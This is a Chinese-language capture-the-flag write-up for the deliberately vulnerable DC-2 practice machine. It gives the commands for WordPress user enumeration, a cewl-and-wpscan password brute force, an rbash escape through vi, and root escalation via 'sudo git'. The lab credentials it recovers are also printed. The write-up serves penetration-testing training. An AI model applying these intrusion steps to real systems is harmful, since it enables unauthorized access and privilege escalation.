杳若
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9

OSCP系列靶场-Esay-DC-2
总结
getwebshell → 发现wordpress
的CMS
→ 利用专用扫描器wpscan
→ 枚举用户名 → 利用cewl
生成个性化密码 → wpscan
枚举密码 → 发现2个用户以及密码 → 只能登陆其中一个
提 权 思 路 → rbash
逃逸 → 环境变量逃逸 → 内部利用su
登录另一个用户 → sudo-git
提权
准备工作
启动VPN
获取攻击机IP >192.168.45.208
启动靶机
获取目标机器IP >192.168.230.194
信息收集-端口扫描
目标开放端口收集
Nmap开放端口扫描2次
sudo nmap --min-rate 10000 -p- 192.168.230.194
通过两次收集到的端口:→80,7744
目标端口对应服务探测
# tcp探测
sudo nmap -sT -sV -O -sC -p80,7744 192.168.230.194
信息收集-端口测试
发现一个是http
,另一个是ssh
。突破口应该在http
80-HTTP端口的信息收集
访问 http://192.168.230.194:80 发现特别慢,存在重定向,进行host
绑定
host绑定
发现访问IP被重定向,修改host
vim /etc/hosts
192.168.230.194 dc-2
重新访问该端口,发现是wordpress
信息收集-网站指纹
whatweb -v http://192.168.230.194:80
CMS
为WordPress 4.7.10
漏洞利用-网站指纹
msfconsole
searchsploit WordPress 4.7.10
查看了一下wordpress
的内容都和插件有关
信息收集-源码查看
# 包括文章中是否写明一些敏感信息
curl http://dc-2
# 利用html2text转换纯文本方便查看
curl http://dc-2 | html2text
没什么内容
信息收集-目录扫描
信息收集-目录扫描初步
dirsearch -u http://dc-2 -x 302,403
查看了一下目录,基本确定是由wpscan
组成
漏洞探测-wpscan扫描
针对wordpress的专用扫描器
# -e枚举 ap枚举插件 u枚举用户名 t枚举主题
wpscan --url http://dc-2 --enumerate ap,u,t
发现了3个用户名admin
、jerry
、tom
信息收集-网站提示
乘着在扫描的空挡,点点点,发现有flag1的提示
提示可以用cewl
生成密码字典
又点了几个端点,发现登录端点,发散思维可以爆破账户密码
漏洞利用-getwebshell
暴力破解-cewl字典生成
发现站点极具个人特色,尝试生成对应的字典
# 爬取url写入到字典
cewl http://dc-2 > passwords.txt
wpscan枚举密码
利用wpscan枚举密码
# 密码枚举
wpscan --url http://dc-2 --passwords passwords.txt
得到账号密码信息
[SUCCESS] - jerry / adipiscing
[SUCCESS] - tom / parturient
对应的账号密码是否可以用在SSH
上呢?
22-SSH账号密码登录
获取账号密码之后利用SSH进行登录 发现jerry
登录不上!tom
登录上了
sudo ssh tom<span class="label label-primary">@192.168.230.194</span> -p7744
password > parturient
内网遨游-getshell
刚进入之后发现连find
命令都没法用,是rbash
Linux用户交互shell受限逃逸
枚举是找到突破方法的重要组成部分。
# 检查当前环境遍历可以用的命令
echo $PATH
# 查看里面的命令有哪些
ls [$PATH]
发现了4个可以用的命令
如果发现有东西的话 访问 https://gtfobins.github.io 寻找
发现了关于vi
的shell
方法a尝试了不行,试试方法b
vi flag3.txt
-----添加-----
:set shell=/bin/sh
:shell
成功获得了一个shell
发现只获得了部分的权限,可以用cd
了
修改环境变量逃逸
我们通过vi
获得了一个高一些的shell
,查看PATH
之后可以尝试修改环境变量
# 查看环境变量
echo $PATH
# 重写环境变量
PATH=/usr/bin:/bin
FLAG1获取
$ find / -name local.txt 2>/dev/null
/home/tom/local.txt
$ cat /home/tom/local.txt
***********************
权限提升
Linux提权-sudo提权尝试(失败)
查找具有sudo
权限,且不需要密码的可提权文件
# 利用sudo -l寻找
sudo -l
发现需要密码,尝试失败
Linux提权-suid提权尝试(失败)
# -user 指定文件拥有者
find / -user root -perm -4000 -print 2>/dev/null
# -perm 文件权限
find / -perm -u=s -type f 2>/dev/null
# -exec 执行系统命令
find / -user root -perm -4000 -exec ls -ldb {} ;
Linux提权-登录另外用户
突然想起刚才看到的flag3.txt
中提到了su
在利用wpscan时我们获取了另一个用户的密码,尝试登录另一个用户尝试
su jerry
password > adipiscing
Linux提权-sudo提权尝试
查找具有sudo
权限,且不需要密码的可提权文件
# 利用sudo -l寻找
sudo -l
发现了git
命令
去查看之后选择其中的一条命令
使用了
# 使用了第二条发现成功
sudo git -p help config
# 成功提权
!/bin/sh
就是回显有点问题
FLAG2获取
cat /root/proof.txt
# **********************
完结撒花~
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
